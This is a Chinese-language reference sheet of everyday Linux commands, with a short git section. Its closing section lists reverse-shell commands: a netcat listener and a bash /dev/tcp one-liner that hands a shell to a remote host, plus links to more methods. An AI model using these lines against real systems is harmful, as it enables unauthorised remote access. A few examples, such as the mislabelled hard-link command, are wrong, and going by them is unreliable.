linux 常用命令大全
一、文件处理命令
1.命令名称:ls
命令英文意思:list
功能描述:显示目录中的文件
语法: ls 选项 [-ald] [ 文件或目录]
-a /all/显示所有文件,包括隐藏文件
-l /long/详细信息显示
-d 查看目录属性
ls -i i---inode i节点 硬链接和原文件拥有相同的i节点
2.命令名称:cd
命令英文意思:change directory
功能描述:切换目录
语法: cd [目录]
例子:cd / 切换到根目录
cd .. 回到上一级目录
3.命令名称:pwd
命令英文意思:pwd
功能描述:显示当前所在的工作目录
例子: pwd
4.命令名称:touch
功能描述:创建空文件
语法: touch [文件名]
例子:touch newfile
5.命令名称:cp
命令英文意思:copy
功能描述:复制文件或目录
语法: cp -R [源文件或目录][母的目录]
-R 复制目录
例子:cp /etc/inittab /etc/services /test 把inittab和services 复制到test下
cp -R /etc /test 把文件夹/etc拷贝到/test文件夹下
6.命令名称:mv
命令英文意思:move
功能描述:移动文件、更名
语法: mv [源文件或目录] [目的目录]
例子:mv 文件名1 文件名2 改名
mv 文件名1 文件夹 移动文件到文件夹
7.命令名称:rm
命令英文意思:remove
功能描述:删除文件
语法: rm -r [文件或目录]
-r 删除目录
-f 强制删除
例子:rm file3 删除文件file3
rm -r dir1 删除目录dir1
8.命令名称:cat
命令英文意思:concatenate and display files
功能描述:显示文件内容 (使用用文件较小的文件)
语法:cat [文件名]
例子: cat /etc/services
9.命令名称:more
功能描述:分页显示文件内容
语法:more [文件名]
空格键或f键 显示下一页
enter键 显示下一行
q或Q 退出
例子: more /etc/services
10.命令名称:head
功能描述:查看文件的前几行
语法:head -num [文件名]
-num 显示文件的前num行
例子: head -20 /etc/services
10.命令名称:tail
功能描述:查看文件的后几行
语法:tail -num [文件名]
-num 显示文件的前num行
-f 动态显示前num行
例子: tail -20 /etc/services
11.命令名称:ln
命令英文意思:link
功能描述:产生连接文件
语法:ln -s [源文件] [目标文件]
-s 创建软连接
例子: ln -s /etc/issue /issue.soft 创建文件/etc/issue的软连接
ln -s /etc/issue /issue.hard 创建文件/etc/issue的硬连接
二、权限管理命令
1. 命令名称:chmod
命令英文意思:change the permissions mode of a file
功能描述:改变文件或目录权限
语法:chmod [{ugo} {+-=} {rwx}] [文件或目录]
[mode = 421] [文件或目录]
例子:文件 chmod 641 文件名
目录 chmod 641 目录名
2. 命令名称:chown // chgrp 改变用户组,用法同chown
命令英文意思:change file ownership
功能描述:改变文件或目录的所有者
语法:chown [用户][文件或目录]
例子:chown nobody file1 改变文件file1的所有者为nobody
3. 命令名称:umask
功能描述:显示、设置文件的缺省权限
语法: umask [-S]
-S 以rwx形式显示创建文件或目录缺省权限
例子: umask umask -S
注意; umask得到的值是0022
0 是特殊为 022 用户权限位,权限掩码值
777 用777减去掩码值得到默认权限
- 022
----------------
755
linux权限规则:缺省创建的文件不能授予可执行x权限
三、文件搜索命令
1. 命令名称:which //同whereis
功能描述:显示系统命令所在目录
语法:which [命令名称]
例子: which ls
2. 命令名称:find
功能描述:查找文件或目录
语法:find [搜索路径] [搜寻关键字]
例子: find /etc -name init 在目录/etc中查找文件init
find / -size +204800 在更目录下查找大于100MB的文件
find /home -user nobody 在根目录下下查找所有为nobody的文件
find /etc -ctime -1 在/etc下查找24小时内被修改过属性的文件和目录、
find /etc -size + 102400 -a -size -204800 在/etc下查找大于50MB小于100MB的文件
find /etc -name inittab -exec ls -l {} \: 在/etc下查找inittab文件并显示其详细信息
注释:
-name 文件名
* 匹配任意字符 init*
? 匹配单个字符 init??? 一个问号匹配一个字符
-size 文件大小 block数据块 512 字节 = 0.5kb
100MB = 102400kb = 204800block
+ 大于 大于100MB的文件
- 小于 小于100MB的文件
等于
-user 文件所有者
与时间相关的查找
1. 天 ctime 、atime、 mtime
2.分钟 cmin 、amin 、mmin
c - change 改变 表示文件属性被修改过,所有者、所属组、权限等
a - access 访问 文件被访问过,cat/more/vi
m - modify 修改 文件的内容被修改过
find /etc -mmin -120 在两个小时内被修改的文件
1.连接符 -a and 逻辑与 -o or 逻辑或
2.连接符 find .... -exec 命令 {} \ ; 一种格式 {}find查询的结果 \转义符
-ok (询问确认)
-inum i节点
find .inum i节点 -exec rm {} \ ; 删除i节点的文件
3. 命令名称:locate /速度快但容易找不到
命令英文意思:list files in databases
语法:locate [搜索关键字]
例子:locate file 列出所有和file相关的文件
4. 命令名称:grep
功能描述:在文件中搜寻字符串匹配的行并输出
语法:grep [指定字符串] [源文件]
例子:grep ftp /etc/services
5.文件关键字替换命令:sed
功能描述:替换文件中的关键词
sed 's/原字符串/替换字符串/' [File] 替换命令
sed 's/^/添加的头部&/g' [file] //在所有行首添加
sed 's/$/&添加的尾部/g' [file] //在所有行末添加
sed '2s/原字符串/替换字符串/g' [file] //替换第2行
sed '$s/原字符串/替换字符串/g' [file] //替换最后一行
sed '2,5s/原字符串/替换字符串/g' [file] //替换2到5行
sed '2,$s/原字符串/替换字符串/g' [file] //替换2到最后一行
sed 's/^/添加的头部&/g; s/$/&添加的尾部/g' [file] //同时执行两个替换规则
sed -i 's/原字符串/替换字符串/g' [file] //替换文件中的所有匹配项
6. look命令
功能描述:查找以某个字符串开头或者结尾的那一行
四、帮助命令
1. 命令名称:man
命令英文意思:manual 手册
功能描述:获得帮助信息
语法:man [命令或配置文件]
例子: man ls 查看ls命令的帮助信息
man services 查看配置文件services的帮助信息
2. 命令名称:info
命令英文意思:infomation
功能描述:获得帮助信息
语法:info [任何关键字]
例子: info ls 查看ls指令的帮助信息
3. 命令名称:whatis
命令英文意思: search the whatis database for strings
功能描述:获得索引的简短说明信息
语法:whatis [任何关键字]
例子: whatis ls
五、压缩解压命令
1. 命令名称:gzip
命令英文意思:GUN zip
功能描述:压缩文件
语法:gzip 选项 [文件] 压缩后的格式 .gz
例子:只能压缩文件,不能压缩目录/不保留原文件
2. 命令名称:gunzip //也可以用gzip -d 文件解压
命令英文意思:GUN unzip
功能描述:解压缩.gz的压缩文件
语法:gunzip 选项[压缩文件]
例子: gunzip file1.gz
3. 命令名称: tar
功能描述:打包目录 压缩文件格式:.tar.gz
语法:tar 选项[cvf] [目录]
-c /create/ 产生.tar打包文件
-v /view/ 显示详细信息
-f /file/ 指定压缩后的文件名
-z 打包同时压缩
-x /execute/ 解压文件
例子: tar -zcvf dir1.tar.gz dir1
将目录dir1 压缩成一个打包并压缩的文件
tar -zxvf dir1.tar.gz 将dir1.tar.gz解压缩
3. 命令名称:zip
功能描述:压缩文件或目录
语法:zip 选项[-r] [压缩后文件名称][文件或目录]
-r 压缩目录
压缩后文件格式为.zip
例子: zip services.zip /etc/services 压缩文件
zip -r test.zip /test 压缩目录
4. 命令名称:bzip2
功能描述:压缩文件
语法:bzip2 选项[-k][文件名]
-k 产生压缩文件
压缩后文件格式:.bz2
例子: bzip2 -k file1
5. 命令名称:bunzip2
功能描述:解压缩
语法:bunzip2 选项[-k][压缩文件]
-k 解压缩后保留原文件
例子: bunzip2 -k file1.bz2
六、网络通信命令
1. 命令名称:write
功能描述:向另外一个用户发信信息,以Ctrl+D作为结束
语法:write <用户名>
例子: write user(用户)
2. 命令名称:wall
命令英文意思:write all
功能描述:向所有用户广播信息
语法:wall [message] [文件名]
例子: wall 信息
3.命令名称:ping
功能描述:测试网络连通性
语法:ping [选项] IP地址
例子:ping 192.168.1.1
4.命令名称:ifconfig
功能描述:查看网络设置信息
语法:ifconfig 选项[-a] [网卡设备标识]
-a 显示所有的网卡信息
例子:ifconfig -a
七、系统进程/服务/关机命令
1.命令名称:shutdown
功能描述:关机
语法:shutdown
例子:shutdown -h now
2.命令名称:reboot
功能描述:重启系统
语法:reboot
例子:reboot
3.命令名称:ps
功能描述:对进程的一次性查看
语法:ps [alux]
-a 显示所有用户的进程
-l 长格式输出
-u 按用户名和启动时间的顺序来显示进程
-x 显示无控制终端的进程
例子: ps aux | more /ps lax
4.命令名称:kill /killall + 进程名
功能描述:终止一个进行
语法:kill -9 进程ID
例子:kill -9 5031
5.命令名称:top
功能描述:动态监视系统任务的工具
语法:top
例子:top
6.命令名称:service
功能描述:管理服务
语法:service 进程名 action
start
stop
status
例子:service httpd start 开启httpd 服务
八、shell应用技巧
命令别名定义:
例子:alias copy = cp
alias xrm = "rm -r"
查看别名信息:alias
删除别名:unalias copy
重定向
管道
将一个命令的输出传送给另一个命令,作为另一个命令的输入
使用方法:
命令1 | 命令2 | 命令3 | 命令n
例子:ls -l /etc | more
ls -l /etc | grep init
ls -l /etc | gerp init |wc -l
; 用;间隔的各命令按顺序依次执行
&& 前后命令的执行存在逻辑与关系,只有&&前面的命令执行成功后,它后面的命令才被执行
|| 前后命令的执行存在逻辑或的关系,只有||前面的命令执行失败后,它后面的命令才被执行。
linux常用高级命令
sed 's/原字符串/替换字符串/' [File] 替换命令
sed 's/^/添加的头部&/g' [file] //在所有行首添加
sed 's/$/&添加的尾部/g' [file] //在所有行末添加
sed '2s/原字符串/替换字符串/g' [file] //替换第2行
sed '$s/原字符串/替换字符串/g' [file] //替换最后一行
sed '2,5s/原字符串/替换字符串/g' [file] //替换2到5行
sed '2,$s/原字符串/替换字符串/g' [file] //替换2到最后一行
sed 's/^/添加的头部&/g; s/$/&添加的尾部/g' [file] //同时执行两个替换规则
sed -i 's/原字符串/替换字符串/g' [file] //替换文件中的所有匹配项
look
look L [File] //查找以L开头的那行
looK -f L [File] //以大小写L开头的那行
look -t L [File] //以L结尾的字符串的那行
join
功能描述:指定栏位内容相同的行进行合并连接。
join [-iaeotv] [--hlep] [File1] [File2]
sort
功能描述:对文件的内容以ASCII字符排序。
sort [-bcdfimMnrot] [--help] [File]
expr
expr 表达式
功能描述:求表达式的值
基本使用方法
expr length "This is a test" //计算长度
expr substr "This is a test" 3 5 //截取索引从3到5的字符串
expr index "This is a test" a //找到a在字符串中第一次出现的位置
expr 10+10 //整数运算
expr 10 \* 10 //乘号必须用/进行转义。
高级使用方法
count=`expr $count + 1` //$count变量自增长1
length=`expr $str : ".*"` //获取$str字符串长度
str=`expr "x$str" : "x-*\(.*\)"` //加括号获取匹配内容
uniq
功能描述:删除文件中重复的行
uniq [File1] [File2] //file1文件去重后保存到file2文件中
uniq -c [File] //file文件去重并显示重复次数
uniq -d [File] //file文件显示重复的行
uniq -u [File] //file文件显示不重复的行
wc
功能描述:统计文件的Byte数、字数、列数。
wc [-clw] [File] //-c参数统计次数,-l统计列数、-w统计字数。
let
功能描述:执行一个或多个表达式,变量不需要加$。
let arg [arg ...]
let a++,b++ //a和b变量自增加一
df
功能描述:统计linux系统上文件系统的磁盘使用情况。
df -h //以可读的方式统计磁盘的使用情况。
du
功能描述:显示目录的结构和所占的磁盘空间
du -h [Dir] //以可读的方式显示文件夹的内容
pstree
功能:将所有的线程以树状图显示出来。
pstree [pid|user]
traceroute
命令用于显示数据包到主机间的路径
traceroute www.baidu.com
tcpdump
tcpdump -i eth0 -c 20 监听eth0网卡并抓取20个数据包
tcpdump host ip //截获ip接收和发送的数据包
tcpdump host ip and ip1 //截获ip和ip1的所有数据包
tcpdump host ip and \(ip1 or ip2\) //截获ip和ip1或ip2直接通讯的数据包
tcpdump -c 10 -q //精简模式显示 10个包
tcpdump ip host ip1 and !ip2 //获取主机ip1除了和ip2之外所有主机通讯的ip包
tcpdump -i eth0 src/dst host hostname/ip 截获主机hostname发送/接收的所有数据包
tcpdump -vv -i eth0 -s 100 -w /root/nextdoor/test/abc.cap host 192.168.1.1 and src/dst port 80
-i监听网卡eth0 -s 包的个数 -w 包存放的位置 host主机名 port端口
tcpdump tcp port 23 and host 192.168.1.1 //截获直接192.168.1.1接收或发送的所有23端口服务的数据包
tcpdump udp port 123 //对udp协议123端口进行监控
tcpdump tcp port 80 -n -X -s 0 指定80端口进行输出 //监听80端口输出的信息
strace
strace常用来跟踪进程执行时的系统调用和所接收的信号。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
strace -o output.txt -T -tt -e trace=all -p 28979
//跟踪进程号是28979的进程
lsof
列出当前系统打开文件的工具
lsof [options] filename
lsof -i[46] [protocol][@hostname|hostaddr][:service|port]
46 --> IPv4 or IPv6
protocol --> TCP or UDP
hostname --> Internet host name
hostaddr --> IPv4地址
service --> /etc/service中的 service name (可以不只一个)
port --> 端口号 (可以不只一个)
lsof -a -u root -d txt //查看root用户进程打开文件的类型为txt的文件。
lsof -R | grep "/usr/bin" //查看目录下/usr/bin运行的文件
lsof `which httpd` //那个进程在使用apache的可执行文件
lsof /etc/passwd //那个进程在占用/etc/passwd
lsof /dev/hda6 //那个进程在占用hda6
lsof /dev/cdrom //那个进程在占用光驱
lsof -c sendmail //查看sendmail进程的文件使用情况
lsof -c courier -u ^zahn //显示出那些文件被以courier打头的进程打开,但是并不属于用户zahn
lsof -p 30297 //显示那些文件被pid为30297的进程打开
lsof -D /tmp 显示所有在/tmp文件夹中打开的instance和文件的进程。但是symbol文件并不在列
lsof -u1000 //查看uid是100的用户的进程的文件使用情况
lsof -utony //查看用户tony的进程的文件使用情况
lsof -u^tony //查看不是用户tony的进程的文件使用情况(^是取反的意思)
lsof -i //显示所有打开的端口
lsof -i:80 //显示所有打开80端口的进程
lsof -i -U //显示所有打开的端口和UNIX domain文件
lsof -i UDP@[url]www.xxx.com:123 //显示那些进程打开了到www.xxx.com的UDP的123(ntp)端口的链接
lsof -i tcp@www.xxx.com:ftp -r //不断查看目前ftp连接的情况(-r,lsof会永远不断的执行,直到收到中断信号,+r,lsof会一直执行,直到没有档案被显示,缺省是15s刷新)
lsof -i tcp@www.xxx.com:ftp -n //lsof -n 不将IP转换为hostname,缺省是不加上-n参数
file
查看文件的属性值
file [Dir/File]
grep命令详解
http://blog.csdn.net/hellochenlian/article/details/34088179
awk命令详解
http://www.cnblogs.com/ggjucheng/archive/2013/01/13/2858470.html
git命令详解
http://blog.jobbole.com/78960/
Git基本常用命令如下:
mkdir: XX (创建一个空目录 XX指目录名)
pwd: 显示当前目录的路径。
git init 把当前的目录变成可以管理的git仓库,生成隐藏.git文件。
git add XX 把xx文件添加到暂存区去。
git commit –m “XX” 提交文件 –m 后面的是注释。
git status 查看仓库状态
git diff XX 查看XX文件修改了那些内容
git log 查看历史记录
git reset –hard HEAD^ 或者 git reset –hard HEAD~ 回退到上一个版本
(如果想回退到100个版本,使用git reset –hard HEAD~100 )
cat XX 查看XX文件内容
git reflog 查看历史记录的版本号id
git checkout — XX 把XX文件在工作区的修改全部撤销。
git rm XX 删除XX文件
git remote add origin https://github.com/tugenhua0707/testgit 关联一个远程库
git push –u(第一次要用-u 以后不需要) origin master 把当前master分支推送到远程库
git clone https://github.com/tugenhua0707/testgit 从远程库中克隆
git checkout –b dev 创建dev分支 并切换到dev分支上
git branch 查看当前所有的分支
git checkout master 切换回master分支
git merge dev 在当前的分支上合并dev分支
git branch –d dev 删除dev分支
git branch name 创建分支
git stash 把当前的工作隐藏起来 等以后恢复现场后继续工作
git stash list 查看所有被隐藏的文件列表
git stash apply 恢复被隐藏的文件,但是内容不删除
git stash drop 删除文件
git stash pop 恢复文件的同时 也删除文件
git remote 查看远程库的信息
git remote –v 查看远程库的详细信息
git push origin master Git会把master分支推送到远程库对应的远程分支上
linux命令
http://www.runoob.com/linux/linux-command-manual.html
shell语法
http://www.runoob.com/linux/linux-shell-variable.html
命令替换符
将一个命令的输出作为另一个命令的参数
格式为:命令1 · 命令2·
反弹shell命令
nc本地监听
nc -l -p port -vvv
shell反弹
bash -i >& /dev/tcp/ownip/port 0>&1
其他反弹shell方法
http://www.myhack58.com/Article/html/3/8/2014/48255.htm
http://www.waitalone.cn/linux-shell-rebound-under-way.html